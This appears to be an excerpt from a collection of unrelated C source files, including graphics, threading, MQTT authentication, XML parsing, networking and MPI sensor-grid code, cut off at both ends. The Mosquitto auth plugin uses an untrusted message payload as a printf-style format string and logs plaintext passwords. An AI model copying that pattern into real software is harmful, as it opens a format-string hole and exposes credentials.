if (act==-1) /* si ma fonction a retourne -1 c'est qu'il y a une erreure, donc je la retransmet*/
{
return 0;
}
premCaseDroite=ajouterEnTete(premCaseDroite,act); /* je rajoute a la fin car sinon les deux listes ne seraient pas dans le meme sens*/
act-=2; /* je decale sur la gauche pour tenir compte de la case blanche entre les blocs*/
q=q->succ;
}
return coloriage(derCaseGauche,premCaseDroite,grille,modif)+1; /* s'il y a une erreure je la retransmet, sinon coloriage utilise mes listes pour noircir les cases voulues*/
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* anti_aliasing.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: rcargou <rcargou@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2015/01/17 01:54:36 by rcargou #+# #+# */
/* Updated: 2015/01/22 18:45:55 by rcargou ### ########.fr */
/* */
/* ************************************************************************** */
#include "rtv1.h"
int get_color(t_img image, int x, int y, int tmp2)
{
unsigned char a;
unsigned char b;
unsigned char c;
int new;
int tmp;
if (image.endian)
{
a = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl];
b = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl + 1];
c = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl + 2];
}
else
{
a = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl + 2];
b = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl + 1];
c = image.img_addr[x * image.bytesperpix / 8 + y * image.ppl];
}
new = a;
tmp = b;
tmp2 = c;
return ((new << 16) + (tmp << 8) + tmp2);
}
void anti_aliasing(t_env env)
{
int x;
int y;
int c1;
int new;
y = 0;
while (++y < WIN_Y)
{
x = 0;
while (++x < WIN_X)
{
c1 = get_color(env.image, x, y, 0);
new = color_average(c1, get_color(env.image, x - 1, y - 1, 0));
new = color_average(new, get_color(env.image, x, y - 1, 0));
new = color_average(new, get_color(env.image, x + 1, y - 1, 0));
new = color_average(new, get_color(env.image, x - 1, y, 0));
new = color_average(new, get_color(env.image, x + 1, y - 1, 0));
new = color_average(new, get_color(env.image, x - 1, y + 1, 0));
new = color_average(new, get_color(env.image, x, y + 1, 0));
new = color_average(new, get_color(env.image, x + 1, y + 1, 0));
mlx_pixel_put(env.mlx, env.win, x, y, new);
ft_put_pxl_img(x, y, &env, new);
}
}
}
|
C
|
#include <stdio.h>
#include <malloc.h>
#include <pthread.h>
struct descritor {
int vet[100];
int size;
int i, e;
pthread_mutex_t m;
};
void* soma( void* dta ) {
int *aux, i;
struct descritor *d = (struct descritor*) dta;
printf("Soma\n");
aux = (int*) malloc(sizeof(int));
*aux = 0;
for( i = d->i ; i < d->e ; ++i )
*aux += d->vet[i];
return aux;
}
int main() {
pthread_t id;
struct descritor desc;
int *res, i;
for( i = 0 ; i < 100 ; ++i ) desc.vet[i] = i;
desc.size = 100;
desc.i = 0;
desc.e = 100;
pthread_create(&id,NULL, soma,(void*)&desc);
pthread_join(id,(void*)&res);
printf("res = %d\n",*res);
free(res);
return 0;
}
|
C
|
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <mosquitto.h>
#include <mosquitto_plugin.h>
#include "sqlite_auth_plugin.h"
#include "sqlite_mosquitto.h"
#include "utils.h"
#include "json.h"
database_t *database;
user_t *user;
manage_user_t *manage_user;
char *manage_user_topic;
static const char *sqlite_database_file_path_key = "sqlite_database_file_path";
static const char *sqlite_table_username_field_key = "sqlite_table_username_field";
static const char *sqlite_table_password_field_key = "sqlite_table_password_field";
static const char *sqlite_tsqlite_table_name_key = "sqlite_table_name";
static const char *sqlite_manage_users_topic_key = "sqlite_manage_users_topic";
int mosquitto_auth_plugin_version(void) {
print(4, "FUNCTION: MOSQUITTO_AUTH_PLUGIN_VERSION");
print(4, "Mosquitto authentication plugin version %d\n", MOSQ_AUTH_PLUGIN_VERSION);
return MOSQ_AUTH_PLUGIN_VERSION;
}
int mosquitto_auth_plugin_init(void **user_data,
struct mosquitto_opt *opts, int opt_count) {
database = malloc(sizeof(database_t));
user = malloc(sizeof(user_t));
print(4, "FUNCTION: MOSQUITO_AUTH_PLUGIN_INIT");
if (opt_count > 0) {
for (int i = 0; i < opt_count; i++) {
if (strncmp(opts[i].key, sqlite_database_file_path_key, \
strlen(sqlite_database_file_path_key)) == 0) {
print(4, "Loading sqlite database file: %s", opts[i].value);
database->database_file = opts[i].value;
} else
if (strncmp(opts[i].key, sqlite_tsqlite_table_name_key, \
strlen(sqlite_tsqlite_table_name_key)) == 0) {
database->table_name = opts[i].value;
print(4, "Loading sqlite table name field: %s", database->table_name);
}else
if (strncmp(opts[i].key, sqlite_table_username_field_key, \
strlen(sqlite_table_username_field_key)) == 0) {
database->username_field = opts[i].value;
print(4, "Loading sqlite query username field: %s", database->username_field);
} else
if (strncmp(opts[i].key, sqlite_table_password_field_key, \
strlen(sqlite_table_password_field_key)) == 0) {
database->password_field = opts[i].value;
print(4, "Loading sqlite query password field: %s", database->password_field);
} else
if (strncmp(opts[i].key, sqlite_manage_users_topic_key, \
strlen(sqlite_manage_users_topic_key)) == 0) {
manage_user_topic = opts[i].value;
print(4, "Loading root topic to manage users: %s", manage_user_topic);
}
}
} else {
print(3, "There is no options to load sqlite authentication plugin.");
return 1;
}
if (init_db(database) != 0) {
dispose_db();
return 1;
}
return 0;
}
int mosquitto_auth_plugin_cleanup(void *user_data,
struct mosquitto_opt *opts, int opt_count) {
print(4, "FUNCTION: MOSQUITTO_AUTH_PLUGIN_CLEANUP");
free(user);
free(database);
dispose_db();
fflush(stdin);
fflush(stdout);
fflush(stderr);
return 0;
}
int mosquitto_auth_security_init(void *user_data, struct mosquitto_opt *opts,
int opt_count, bool reload){
print(4, "FUNCTION: MOSQUITTO_AUTH_SECURITY_INIT");
return 0;
}
int mosquitto_auth_security_cleanup(void *user_data,
struct mosquitto_opt *opts, int opt_count, bool reload) {
print(4, "FUNCTION: MOSQUITTO_AUTH_SECURITY_CLENAUP");
return 0;
}
int mosquitto_auth_acl_check(void *user_data, int access,
const struct mosquitto *client,
const struct mosquitto_acl_msg *msg) {
print(4, "FUNCTION: MOSQUITTO_AUTH_ACL_CHECK [%s]", client);
if (strncmp(msg->topic, manage_user_topic, strlen(manage_user_topic)) == 0) {
if (access == MOSQ_ACL_SUBSCRIBE) {
print(3, "Your subscription was rejected by server on topic %s for user %s", \
msg->topic, user->username);
} else {
char *payload = malloc(sizeof(char *) * msg->payloadlen +1);
snprintf(payload, msg->payloadlen +1, msg->payload);
print(4, "Loading parameters: %s on topic: %s", \
payload, msg->topic);
parse_to_manage_users(&manage_user, payload);
print(4, "Processed value: \n\t%s, \n\t%s, \n\t%s, \n\t%d", manage_user->username, \
manage_user->password, manage_user->action, manage_user->is_admin);
payload = NULL;
manage_user = NULL;
}
return MOSQ_ERR_ACL_DENIED;
}else {
return MOSQ_ERR_SUCCESS;
}
}
int mosquitto_auth_unpwd_check(void *user_data, const struct mosquitto *client,
const char *username, const char *password) {
print(4, "FUNCTION: MOSQUITTO_AUTH_UNPWD_CHECK");
user->username = username;
user->password = password;
if (username == NULL) {
print(2, "Username must be provided.");
return MOSQ_ERR_ACL_DENIED;
} else
if (password == NULL) {
print(2, "Password must be provided.");
return MOSQ_ERR_ACL_DENIED;
}
if (authenticate_user(user, database) == USER_AUTHENTICATED){
print(1, "User successfuly authenticated.");
return MOSQ_ERR_SUCCESS;
}
print(2, "The provided username or password is incorrect.");
return MOSQ_ERR_ACL_DENIED;
}
int mosquitto_auth_psk_key_get(void *user_data, const struct mosquitto *client,
const char *hint, const char *identity, char *key, int max_key_len) {
print(4, "FUNCTION: MOSQUITTO_AUTH_PSK_KEY_GET");
return 0;
}
int mosquitto_auth_start(void *user_data, struct mosquitto *client,
const char *method, bool reauth, const void *data_in,
uint16_t data_in_len, void **data_out, uint16_t *data_out_len) {
print(4, "FUNCTION: MOSQUITTO_AUTH_START");
return 0;
}
|
C
|
/*
** EPITECH PROJECT, 2018
** particle
** File description:
** alpha
*/
#include "lib_graph.h"
void set_sprite_alpha(particle_t *item, int alpha)
{
sfColor color;
if (item && alpha >= 0) {
color = sfSprite_getColor(item->sprite);
if (color.a <= 0)
return;
color.a = (sfUint8)alpha;
sfSprite_setColor(item->sprite, color);
}
}
void cor_reset_system_rbgalpha(particle_system_t *self)
{
int i = 0;
while (i < self->nb_particles) {
self->particle_array[i].alpha_rgb = 255;
i++;
}
}
|
C
|
/*
* Attribute support code for Mini-XML, a small XML file parsing library.
*
* https://www.msweet.org/mxml
*
* Copyright © 2003-2021 by Michael R Sweet.
*
* Licensed under Apache License v2.0. See the file "LICENSE" for more
* information.
*/
/*
* Include necessary headers...
*/
#include "config.h"
#include "mxml-private.h"
/*
* Local functions...
*/
static int mxml_set_attr(mxml_node_t *node, const char *name, char *value);
/*
* 'mxmlElementDeleteAttr()' - Delete an attribute.
*
* @since Mini-XML 2.4@
*/
void
mxmlElementDeleteAttr(mxml_node_t *node,/* I - Element */
const char *name)/* I - Attribute name */
{
int i; /* Looping var */
_mxml_attr_t *attr; /* Cirrent attribute */
#ifdef MXML_DEBUG
fprintf(stderr, "mxmlElementDeleteAttr(node=%p, name=\"%s\")\n",
node, name ? name : "(null)");
#endif /* MXML_DEBUG */
/*
* Range check input...
*/
if (!node || node->type != MXML_ELEMENT || !name)
return;
/*
* Look for the attribute...
*/
for (i = node->value.element.num_attrs, attr = node->value.element.attrs;
i > 0;
i --, attr ++)
{
#ifdef MXML_DEBUG
printf(" %s=\"%s\"\n", attr->name, attr->value);
#endif /* MXML_DEBUG */
if (!strcmp(attr->name, name))
{
/*
* Delete this attribute...
*/
free(attr->name);
free(attr->value);
i --;
if (i > 0)
memmove(attr, attr + 1, i * sizeof(_mxml_attr_t));
node->value.element.num_attrs --;
if (node->value.element.num_attrs == 0)
free(node->value.element.attrs);
return;
}
}
}
/*
* 'mxmlElementGetAttr()' - Get an attribute.
*
* This function returns @code NULL@ if the node is not an element or the
* named attribute does not exist.
*/
const char * /* O - Attribute value or @code NULL@ */
mxmlElementGetAttr(mxml_node_t *node, /* I - Element node */
const char *name) /* I - Name of attribute */
{
int i; /* Looping var */
_mxml_attr_t *attr; /* Cirrent attribute */
#ifdef MXML_DEBUG
fprintf(stderr, "mxmlElementGetAttr(node=%p, name=\"%s\")\n",
node, name ? name : "(null)");
#endif /* MXML_DEBUG */
/*
* Range check input...
*/
if (!node || node->type != MXML_ELEMENT || !name)
return (NULL);
/*
* Look for the attribute...
*/
for (i = node->value.element.num_attrs, attr = node->value.element.attrs;
i > 0;
i --, attr ++)
{
#ifdef MXML_DEBUG
printf(" %s=\"%s\"\n", attr->name, attr->value);
#endif /* MXML_DEBUG */
if (!strcmp(attr->name, name))
{
#ifdef MXML_DEBUG
printf(" Returning \"%s\"!\n", attr->value);
#endif /* MXML_DEBUG */
return (attr->value);
}
}
/*
* Didn't find attribute, so return NULL...
*/
#ifdef MXML_DEBUG
puts(" Returning NULL!\n");
#endif /* MXML_DEBUG */
return (NULL);
}
/*
* 'mxmlElementGetAttrByIndex()' - Get an element attribute by index.
*
* The index ("idx") is 0-based. @code NULL@ is returned if the specified index
* is out of range.
*
* @since Mini-XML 2.11@
*/
const char * /* O - Attribute value */
mxmlElementGetAttrByIndex(
mxml_node_t *node, /* I - Node */
int idx, /* I - Attribute index, starting at 0 */
const char **name) /* O - Attribute name */
{
if (!node || node->type != MXML_ELEMENT || idx < 0 || idx >= node->value.element.num_attrs)
return (NULL);
if (name)
*name = node->value.element.attrs[idx].name;
return (node->value.element.attrs[idx].value);
}
/*
* 'mxmlElementGetAttrCount()' - Get the number of element attributes.
*
* @since Mini-XML 2.11@
*/
int /* O - Number of attributes */
mxmlElementGetAttrCount(
mxml_node_t *node) /* I - Node */
{
if (node && node->type == MXML_ELEMENT)
return (node->value.element.num_attrs);
else
return (0);
}
/*
* 'mxmlElementSetAttr()' - Set an attribute.
*
* If the named attribute already exists, the value of the attribute
* is replaced by the new string value. The string value is copied
* into the element node. This function does nothing if the node is
* not an element.
*/
void
mxmlElementSetAttr(mxml_node_t *node, /* I - Element node */
const char *name, /* I - Name of attribute */
const char *value) /* I - Attribute value */
{
char *valuec; /* Copy of value */
#ifdef MXML_DEBUG
fprintf(stderr, "mxmlElementSetAttr(node=%p, name=\"%s\", value=\"%s\")\n",
node, name ? name : "(null)", value ? value : "(null)");
#endif /* MXML_DEBUG */
/*
* Range check input...
*/
if (!node || node->type != MXML_ELEMENT || !name)
return;
if (value)
{
if ((valuec = strdup(value)) == NULL)
{
mxml_error("Unable to allocate memory for attribute '%s' in element %s.", name, node->value.element.name);
return;
}
}
else
valuec = NULL;
if (mxml_set_attr(node, name, valuec))
free(valuec);
}
/*
* 'mxmlElementSetAttrf()' - Set an attribute with a formatted value.
*
* If the named attribute already exists, the value of the attribute
* is replaced by the new formatted string. The formatted string value is
* copied into the element node. This function does nothing if the node
* is not an element.
*
* @since Mini-XML 2.3@
*/
void
mxmlElementSetAttrf(mxml_node_t *node, /* I - Element node */
const char *name, /* I - Name of attribute */
const char *format,/* I - Printf-style attribute value */
...) /* I - Additional arguments as needed */
{
va_list ap; /* Argument pointer */
char *value; /* Value */
#ifdef MXML_DEBUG
fprintf(stderr,
"mxmlElementSetAttrf(node=%p, name=\"%s\", format=\"%s\", ...)\n",
node, name ? name : "(null)", format ? format : "(null)");
#endif /* MXML_DEBUG */
/*
* Range check input...
*/
if (!node || node->type != MXML_ELEMENT || !name || !format)
return;
/*
* Format the value...
*/
va_start(ap, format);
value = _mxml_vstrdupf(format, ap);
va_end(ap);
if (!value)
mxml_error("Unable to allocate memory for attribute '%s' in element %s.",
name, node->value.element.name);
else if (mxml_set_attr(node, name, value))
free(value);
}
/*
* 'mxml_set_attr()' - Set or add an attribute name/value pair.
*/
static int /* O - 0 on success, -1 on failure */
mxml_set_attr(mxml_node_t *node, /* I - Element node */
const char *name, /* I - Attribute name */
char *value) /* I - Attribute value */
{
int i; /* Looping var */
_mxml_attr_t *attr; /* New attribute */
/*
* Look for the attribute...
*/
for (i = node->value.element.num_attrs, attr = node->value.element.attrs;
i > 0;
i --, attr ++)
if (!strcmp(attr->name, name))
{
/*
* Free the old value as needed...
*/
free(attr->value);
attr->value = value;
return (0);
}
/*
* Add a new attribute...
*/
if (node->value.element.num_attrs == 0)
attr = malloc(sizeof(_mxml_attr_t));
else
attr = realloc(node->value.element.attrs,
(node->value.element.num_attrs + 1) * sizeof(_mxml_attr_t));
if (!attr)
{
mxml_error("Unable to allocate memory for attribute '%s' in element %s.",
name, node->value.element.name);
return (-1);
}
node->value.element.attrs = attr;
attr += node->value.element.num_attrs;
if ((attr->name = strdup(name)) == NULL)
{
mxml_error("Unable to allocate memory for attribute '%s' in element %s.",
name, node->value.element.name);
return (-1);
}
attr->value = value;
node->value.element.num_attrs ++;
return (0);
}
|
C
|
/*
* client UDP
* need xinited with ubuntu linux
* RP 11/10/98
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
//#define PORT 33333 //serveur_udp
#define PORT 13 //daytime
//#define PORT 19 //chargen
//#define PORT 7 //echo
#define LEN 80
int main()
{
int s,n,len,i=0;
struct sockaddr_in adr;
char buffer[LEN];
s=socket(AF_INET,SOCK_DGRAM,0);
if (s==-1) printf("erreur socket\n");
adr.sin_family = AF_INET;
adr.sin_port = htons(PORT);
adr.sin_addr.s_addr = inet_addr("172.16.116.5");
len=sizeof(adr);
sendto(s,buffer,strlen(buffer),0,(struct sockaddr *) (&adr),len);
len=sizeof(adr);
n = recvfrom(s,buffer,LEN,0,(struct sockaddr *) (&adr),&len);
if (n==-1) printf("erreur recvfrom\n");
else buffer[n]=0;
printf("lu sur le port %d %d caractères : %s\n",PORT,n,buffer);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/types.h>
#define BUFFER_SIZE 100
int main(int argc, char **argv)
{
int fd;
off_t fsize;
int records;
int timecost;
int buf[BUFFER_SIZE];
int repeat;
struct timeval start_time;
struct timeval end_time;
if(argc != 2) {
fprintf(stderr, "Usage : %s file\n", argv[0]);
exit(1);
}
if ((fd = open(argv[1], O_RDONLY)) < 0) { //표준입력을 받은 레코드파일 열기
fprintf(stderr, "open error for %s\n", argv[1]);
exit(1);
}
if ((fsize = lseek(fd, (off_t)0, SEEK_END)) < 0) { //파일 크기 확인
fprintf(stderr, "lseek error\n");
exit(1);
}
lseek(fd, (off_t)0, SEEK_SET);
records = (fsize / 100); //파일전체크기/100B(레코드 하나의 크기) = 레코드 개수
repeat = records;
gettimeofday(&start_time, NULL); //레코드 읽기 전 시간 저장
while(--repeat) { //레코드개수만큼 순차적 읽기 시작
if(read(fd, buf, 100) < 0) {
fprintf(stderr,"read error\n");
exit(1);
}
}
gettimeofday(&end_time, NULL); //레코드 읽고 난 후의 시간 저장
timecost = ((end_time.tv_sec - start_time.tv_sec)*1000000) + ((end_time.tv_usec - start_time.tv_usec)); //timecost 계산(us단위)
printf("#records: %d timecost: %d us\n",records, timecost); //레코드 개수와 timecost출력 후 종료
return 0;
}
|
C
|
/*
* Copyright 04/17/07 Sun Microsystems, Inc. All Rights Reserved
* @(#)prime_omp.c 1.2 07/04/17 SMI
*/
#include <stdio.h>
#include <math.h>
#include <omp.h>
#define THREADS 4
#define N 10000
int primes[N];
int pflag[N];
int is_prime(int v)
{
int i;
int bound = floor(sqrt(v)) + 1;
for (i = 2; i < bound; i++) {
/* no need to check against known composites */
if (!pflag[i])
continue;
if (v % i == 0) {
pflag[v] = 0;
return 0;
}
}
return (v > 1);
}
int main(int argn, char **argv)
{
int i;
int total = 0;
#ifdef _OPENMP
omp_set_dynamic(0);
omp_set_num_threads(THREADS);
#endif
for (i = 0; i < N; i++) {
pflag[i] = 1;
}
#pragma omp parallel for
for (i = 2; i < N; i++) {
if ( is_prime(i) ) {
primes[total] = i;
total++;
}
}
printf("Number of prime numbers between 2 and %d: %d\n",
N, total);
return 0;
}
|
C
|
/**
*
* Hodaya Koslowsky
* Comments are in the header files
*
*/
#ifndef OS_EX2_JOBLIST_H
#define OS_EX2_JOBLIST_H
#include <unistd.h>
typedef enum {
bg, fg
} JobState;
typedef struct {
pid_t pid;
int jobId;
char **args; // including the name
int numArgs;
JobState state;
} Job;
typedef struct Node {
Job *job;
struct Node *next;
} Node;
typedef struct {
struct Node *first;
struct Node *last;
int numberOfNodes;
} Head;
/**
* Create the head of the list, pointing to the the:
* 1. first node of the list
* 2. last node of the list
* 3. int number of nodes
* @return A pointer to the head.
*/
Head *CreateHead();
/**
* Create a new Job
* @param pid the process ID
* @param args The arguments of the command, including the command itself.
* @param numArgs Number of arguments.
* @return A pointer to the job.
*/
Job *CreateJob(pid_t pid, char **args, int numArgs);
/**
* Add a new job to the job list.
* @param head The pointer to the beginning of the job list.
* @param newJob A pointer to the new job to add.
*/
void AddJob(Head *head, Job *newJob);
/**
* Free the allocated memory of a job.
* @param job The job to free.
*/
void FreeJob(Job *job);
/**
* Free the allocated memory of Node.
* @param node The node to free.
*/
void FreeNode(Node *node);
/**
* Free all memory allocated for the job list.
* @param head The pointer to the beginning of the job list.
*/
void FreeMemory(Head *head);
/**
* Free the memory allocated for an array of arguments.
* @param args A pointer to the arguments to free.
* @param numArgs Number of elements to free.
*/
void FreeArgsWithNum(char **args, int numArgs);
/**
* Remove a job from the list, using its PID in order to find the right job to remove from the list.
* @param head The pointer to the beginning of the job list.
* @param pid The process ID of the job to remove.
*/
void RemoveJobId(Head *head, pid_t pid);
/**
* Remove a job from the list using a pointer to the job itself.
* @param head The pointer to the beginning of the job list.
* @param job A pointer to the job to delete.
*/
void RemoveJob(Head *head, Job *job);
/**
* Remove a Node from the list.
* @param head The pointer to the beginning of the job list.
* @param node A pointer to the node to delete.
*/
void RemoveNode(Head *head, Node *node);
#endif //OS_EX2_JOBLIST_H
|
C
|
/*PROG25 - Program to find factorial of a number using while*/
/*Authors: Asmit De, Shinjini Basu Date: 14.08.2008*/
#include <stdio.h>
#include <conio.h>
float Factorial(int n)
{
float fact=1;
while(n>=1)
{
fact=fact*n;
n--;
}
return fact;
}
void main()
{
int num; float fact;
clrscr();
printf("\nEnter a number "); scanf("%d",&num);
fact=Factorial(num);
printf("\nFactorial of %d is %f",num,fact);
puts("\n\nPress any key to continue....."); getch();
}
/*Output:
Enter a number 6
Factorial of 6 is 720.000000
Press any key to continue.....
*/
|
C
|
/*Auteur: VAN Cyril
*Création: 25-02-2020
*Modifications: 25-02-2020 | 02-03-2020 | 03-03-2020*/
#include "UnionFind.h"
coordonnees_t trouver_compresse(laby_t * laby, int x, int y){
int x_case, y_case;
coordonnees_t pere_case;
x_case = x + 1;
y_case = y + 1;
pere_case = laby->cases[x_case][y_case].pere;
if (pere_case.x == x && pere_case.y == y){
return pere_case;
}else{
pere_case = trouver_compresse(laby, laby->cases[x_case][y_case].pere.x, laby->cases[x_case][y_case].pere.y);
laby->cases[x_case][y_case].pere = pere_case;
}
return pere_case;
}
void fusion_classe(laby_t * laby, int x1, int y1, int x2, int y2){
coordonnees_t pere1, pere2;
int rang_pere1, rang_pere2;
pere1 = trouver_compresse(laby, x1 - 1, y1 -1);
pere2 = trouver_compresse(laby, x2 -1, y2 -1);
if (pere1.x == pere2.x && pere1.y == pere2.y){
return;
}
rang_pere1 = laby->cases[pere1.x + 1][pere1.y + 1].rang;
rang_pere2 = laby->cases[pere2.x + 1][pere2.y + 1].rang;
if (rang_pere1 >= rang_pere2){
laby->cases[pere2.x + 1][pere2.y +1].pere = pere1;
laby->cases[pere1.x +1][pere1.y +1].rang += laby->cases[pere2.x + 1][pere2.y +1].rang;
}else{
laby->cases[pere1.x + 1][pere1.y +1].pere = pere2;
laby->cases[pere2.x +1][pere2.y +1].rang += laby->cases[pere1.x + 1][pere1.y +1].rang;
}
}
|
C
|
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stdlib.h>
#include <mpi.h>
#include <pthread.h>
#include <time.h>
// Used in MPI_CART_SHIFT to find neighbour process:
#define SHIFT_ROW 0
#define SHIFT_COL 1
// Displacement by 1:
#define DISP 1
// Maximum Iterations:
#define MAX_ITER 100
// Sensor Threshold:
#define SENSOR_THRESH 5
// Temperature Threshold:
#define TEMP_THRESH 80
// Random Temperature Generated Range:
#define MAX_TEMP_RANGE 100
#define MIN_TEMP_RANGE 65
#define SATELLITE_SIZE 100
// Initialization of functions used
void sleep(int rank);
int base_station(MPI_Comm world_comm, MPI_Comm comm);
int slave_node(MPI_Comm world_comm, MPI_Comm comm);
void *ThreadFunc(void *pArg);
int compare(int rank, int temp, time_t timestamp);
int getCoordi(int rank, int columnSize);
int getCoordj(int rank, int columnSize);
void logRecord(int iter, int nodeRank, int satRank, time_t alertTime, int alertTemp, int alertType, int adjRanks[4], int adjTemps[4], time_t satTime, int satTemp, int numOfNodes, int columnSize);
pthread_mutex_t g_Mutex = PTHREAD_MUTEX_INITIALIZER;
int pthread_state = 0;
int satelliteValueCount = 0;
struct satValue{
int sat_rank;
int temp;
time_t timestamp;
};
/*
Struct of Values sent to Base Station
*/
struct toSend{
int node_rank;
int temp;
int adjacentRanks[4];
int adjacentTemp[4];
int numOfNodes;
time_t timestamp;
int colSize;
};
int nrows, ncols;
int ndims = 2;
int dims[2];
struct satValue satelliteValues[100];
int main(int argc, char *argv[]) {
int size, rank;
// The MPI Communicator Inititalized
MPI_Comm new_comm;
// Start up initial MPI environment
MPI_Init(&argc, &argv);
MPI_Comm_size(MPI_COMM_WORLD, &size);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
if (argc == 3) {
// SPECIFY NO OF ROWS AND COLUMNS through command line arguments
nrows = atoi (argv[1]);
ncols = atoi (argv[2]);
dims[0] = nrows; // number of rows
dims[1] = ncols; // number of columns
// if col number*row number does not equal number of processes
if( ((nrows*ncols)+1) != size) {
// NUMBER OF PROCESSES NEED TO BE EQUAL NO OF ROWS * COLUMNS
// RUN USING CLUSTER (mpirun -hostfile cluster w1q2 4 5)
// if process is first process, print error message
if(rank ==0) {
printf("ERROR: nrows*ncols)=%d * %d = %d != %d\n", nrows, ncols, nrows*ncols, size);
}
MPI_Finalize();
return 0;
}
} else {
// if command line arguments not given, set rows and column number
nrows=ncols=(int)sqrt(size);
dims[0]=dims[1]=0;
}
/*
Here we Split the World Communicator into two:
'rank == size -1' will return 0 or 1 (True or False)
Color will either be:
0: For Slaves
1: For Master
*/
MPI_Comm_split(MPI_COMM_WORLD, rank == size-1, 0, &new_comm);
// The last rank is the Master
if(rank == size-1)
base_station(MPI_COMM_WORLD, new_comm);
else
slave_node(MPI_COMM_WORLD, new_comm);
MPI_Finalize();
return 0;
}
int slave_node(MPI_Comm world_comm, MPI_Comm comm){
// Sizes of WORLD_COMM and Virtual Slave Topologies
int worldSize, size;
// Current Rank of the Slave
int rank;
int reorder, my_cart_rank, ierr;
// This will hold the created
MPI_Comm comm2D;
MPI_Status status;
// Get the size of the Master Communicator
MPI_Comm_size(world_comm, &worldSize);
// Get the size of the Slave Communicator
MPI_Comm_size(comm, &size);
// Rank of Slave Communicator
MPI_Comm_rank(comm, &rank);
// 2 Dimension Grid for Virtual Topology
int ndims = 2;
// Array of Adjacent Node
int adjacent[4] = {-1,-1,-1,-1};
/*
Neighbouring Nodes:
top - Top Neighbour
bottom - Bottom Neighbour
left - Left Neighbour
right - Right Neighbour
These variables hold the 'Rank' Values of the neighbouring nodes
*/
int top, bottom;
int left, right;
int end_flag = 0;
// Arrays to hold dimension, coordiantes and wrap around
//int dims[ndims];
int coord[ndims];
int wrap_around[ndims];
// Holds the rank of the Basestation
int baseStationRank = worldSize-1;
// HERE WE HAVE TO CHANGE TO CHANGE GRID SIZE
//dims[0]=dims[1]=0;
MPI_Dims_create(size, ndims, dims);
if(rank == 0)
printf("Root Rank: %d. Comm Size: %d: Grid Dimension = [%d x %d] \n",rank ,size,dims[0],dims[1]);
/*
Periodic shift is false- Meaning the top, bottom and left,right nodes cant
communicate with each other in a circular manner.
*/
wrap_around[0] = wrap_around[1] = 0;
/* This would re-order the ranking if set to one */
reorder = 1;
// Error boolean variable
ierr = 0;
/*
Make new communicator of which topology info is stored.
Now onward we have a virtual topology communicator: comm2D
*/
ierr = MPI_Cart_create(comm, ndims, dims, wrap_around, reorder, &comm2D);
// if error is found creating cartesian topology, print error message
if(ierr != 0) printf("ERROR[%d] creating CART\n",ierr);
/*
This function will return the coordinate value (eg: (0,1)) if I pass the
value for rank as 1.
Finds my coordinates in the cartesian communicator group
*/
MPI_Cart_coords(comm2D, rank, ndims, coord);
// Use my cartesian coordinates to find my rank in cartesian group
MPI_Cart_rank(comm2D, coord, &my_cart_rank);
// Calculate Process ID for adjacent process:
MPI_Cart_shift(comm2D, SHIFT_ROW, DISP, &top, &bottom);
MPI_Cart_shift(comm2D, SHIFT_COL, DISP, &left, &right);
adjacent[0] = top;
adjacent[1] = bottom;
adjacent[2] = left;
adjacent[3] = right;
int adjacentNodes = 4;
unsigned int seed = time(NULL)*rank;
while(!end_flag){
MPI_Iprobe(worldSize-1, 0, MPI_COMM_WORLD, &end_flag, &status);
if(end_flag){
break;
}
struct toSend packet;
int received_temperature[4] = {-1,-1,-1,-1};
int numOfNodesAboveThreshold = 0;
int randomTemp = 0;
// Generate random temperature
randomTemp = rand_r(&seed) % (MAX_TEMP_RANGE + 1 - MIN_TEMP_RANGE) + MIN_TEMP_RANGE;
// Perform sending operation without having adjacent nodes to receive
for(int i = 0; i < adjacentNodes; i++){
MPI_Send(&randomTemp, 1, MPI_INT, adjacent[i], 0, comm2D);
}
// If the random temperature
if(randomTemp > TEMP_THRESH){
for(int i = 0; i < adjacentNodes; i++){
MPI_Recv(&received_temperature[i], 1, MPI_INT, adjacent[i], 0, comm2D, &status);
}
// Check abnoramlities in temp :
for(int j = 0; j < adjacentNodes; j++){
if((abs(randomTemp-received_temperature[j])) <= SENSOR_THRESH){
numOfNodesAboveThreshold++;
}
}
}
/*
if at least two or more neighbourhood nodes match the sensor readings of the local node
*/
if(numOfNodesAboveThreshold >= 2){
// Initialize structure members
packet.node_rank = rank;
packet.temp = randomTemp;
packet.numOfNodes = numOfNodesAboveThreshold;
time(&packet.timestamp);
packet.colSize = ncols;
for(int i = 0; i < adjacentNodes; i ++){
packet.adjacentRanks[i] = adjacent[i];
packet.adjacentTemp[i] = received_temperature[i];
}
// Alert the base station
//printf("Rank: %d, Temp: %d, Time %s", packet.node_rank, packet.temp, ctime(&packet.timestamp));
MPI_Send(&packet, sizeof(struct toSend), MPI_CHAR, baseStationRank, 0, world_comm);
}
sleep(1);
}
return 0;
}
int base_station(MPI_Comm world_comm, MPI_Comm comm){
int size;
//struct satValue s1 = {0, 0, 0};
//*satelliteValues = malloc(100 * sizeof(s1));
//*satelliteValues = (struct satValue*)malloc(100 * sizeof(struct satValue));
MPI_Comm_size(world_comm, &size);
size = size - 1;
MPI_Status status;
int flag = 0;
//int recvMsg = 0;
struct toSend recvMsg;
pthread_t tid;
pthread_create(&tid, 0, ThreadFunc, &size);
// wait for messages from WSN nodes
// fixed loop iterates 100 times
for (int i = 0; i<100; i++){
while(!flag){
MPI_Iprobe(MPI_ANY_SOURCE, 0, MPI_COMM_WORLD, &flag, &status);
if (flag) {
int loopEnd;
int alertType = 0;
struct satValue matchedValue;
matchedValue.sat_rank = -1;
if(satelliteValueCount>=100){
loopEnd = 100;
}
else{
loopEnd = satelliteValueCount;
}
MPI_Recv(&recvMsg, sizeof(struct toSend), MPI_CHAR, MPI_ANY_SOURCE, 0, MPI_COMM_WORLD, &status );
